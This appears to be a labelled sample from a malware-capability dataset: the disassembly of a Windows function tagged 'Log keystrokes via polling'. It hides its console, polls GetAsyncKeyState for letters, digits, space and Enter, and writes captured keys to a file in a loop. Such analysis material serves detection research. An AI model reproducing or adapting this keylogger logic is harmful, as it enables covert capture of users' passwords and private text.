Function at 0x140001540
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
push rbx
sub rsp, 0x218
lea rbp, [rsp + 0x80]
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
lea rax, [rbp + 0x170]
mov rcx, rax
call fcn.1400a4d90
mov ecx, 0x41
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x1400015bd
lea rdx, str.abcdefghijklmnopqrstuvwxyz_.
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, str.abcdefghijklmnopqrstuvwxyz_.
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x42
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x14000160c
lea rdx, [0x1400bd003]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd003]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x43
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x14000165b
lea rdx, [0x1400bd005]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd005]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x44
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x1400016aa
lea rdx, [0x1400bd007]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd007]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x45
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x1400016f9
lea rdx, [0x1400bd009]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd009]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x46
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001748
lea rdx, [0x1400bd00b]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd00b]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x47
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001797
lea rdx, [0x1400bd00d]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd00d]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x48
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x1400017e6
lea rdx, [0x1400bd00f]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd00f]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x49
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001835
lea rdx, [0x1400bd011]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd011]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x4a
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001884
lea rdx, [0x1400bd013]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd013]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x4b
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x1400018d3
lea rdx, [0x1400bd015]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd015]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x4c
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001922
lea rdx, [0x1400bd017]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd017]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x4d
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001971
lea rdx, [0x1400bd019]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd019]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x4e
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x1400019c0
lea rdx, [0x1400bd01b]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd01b]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x4f
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001a0f
lea rdx, [0x1400bd01d]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd01d]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x50
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001a5e
lea rdx, [0x1400bd01f]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd01f]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x51
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001aad
lea rdx, [0x1400bd021]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd021]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x52
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001afc
lea rdx, [0x1400bd023]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd023]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x53
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001b4b
lea rdx, [0x1400bd025]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd025]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x54
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001b9a
lea rdx, [0x1400bd027]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd027]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x55
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001be9
lea rdx, [0x1400bd029]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd029]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x56
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001c38
lea rdx, [0x1400bd02b]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd02b]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x57
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001c87
lea rdx, [0x1400bd02d]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd02d]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x58
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001cd6
lea rdx, [0x1400bd02f]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd02f]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x59
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001d25
lea rdx, [0x1400bd031]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd031]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x5a
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001d74
lea rdx, [0x1400bd033]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd033]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x20
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001dc3
lea rdx, [0x1400bd035]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd035]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x6e
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001e12
lea rdx, [0x1400bd037]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd037]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0xd
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001e61
lea rdx, [0x1400bd039]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, str._br_
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x30
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001eb0
lea rdx, [0x1400bd041]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd041]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x31
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001eff
lea rdx, [0x1400bd043]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd043]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x32
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001f4e
lea rdx, [0x1400bd045]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd045]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x33
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001f9d
lea rdx, [0x1400bd047]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd047]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x34
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140001fec
lea rdx, [0x1400bd049]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd049]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x35
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x14000203b
lea rdx, [0x1400bd04b]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd04b]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x36
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x14000208a
lea rdx, [0x1400bd04d]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd04d]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x37
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x1400020d9
lea rdx, [0x1400bd04f]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd04f]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x38
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140002128
lea rdx, [0x1400bd051]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd051]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x39
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
test al, al
je 0x140002177
lea rdx, [0x1400bd053]
mov rcx, qword [0x1400c2360]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [0x1400bd053]
mov rcx, rax
call fcn.1400a5730
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.140094600
lea rax, [rbp - 0x60]
mov r8d, 0x10
lea rdx, [0x1400bd055]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.open_char_const__std::_Ios_Openmode_
lea rdx, [rbp + 0x170]
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream__
jmp 0x14000156e